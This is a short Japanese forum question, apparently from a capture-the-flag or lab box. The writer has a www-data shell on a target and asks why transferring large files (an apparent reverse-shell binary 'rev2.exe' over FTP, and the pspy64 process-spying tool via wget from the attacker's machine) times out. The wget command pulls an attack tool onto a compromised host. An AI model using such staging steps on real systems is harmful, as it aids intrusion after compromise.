私はkali linuxがインストールされているvirtualboxを使用しています。 SSHシェルでwgetを使用してホストからリソースをアップロードしましたが、FTP putコマンドと同様に失敗しました。
以下はFTP用のコマンドラインの断片です。
ftp> put rev2.exe
local: rev2.exe remote: rev2.exe
229 Entering Extended Passive Mode (|||49196|)
150 Opening ASCII mode data connection.
100% |**********************************************************************************************************************************************************************| 74172 72.28 KiB/s --:-- ETA
421 Service not available, remote server timed out. Connection closed.
74172 bytes sent in 01:01 (1.18 KiB/s)
ftp> bye
ファイルが完全にアップロードされる前に接続がタイムアウトしました。
以下はWGETのコマンドラインの断片です。
www-data@dmv:/var/www/html$ wget http://10.18.75.19/pspy64
wget http://10.18.75.19/pspy64
--2023-08-07 11:52:48-- http://10.18.75.19/pspy64
Connecting to 10.18.75.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
シェルが「保存場所: 'pspy64'」で停止しました。
VMをブリッジからNATに変更し、FTPで手動モードを無効にしてみました。ファイアウォールが無効になっています。
注:小さなファイルはFTPとWGETを介してアップロードできます。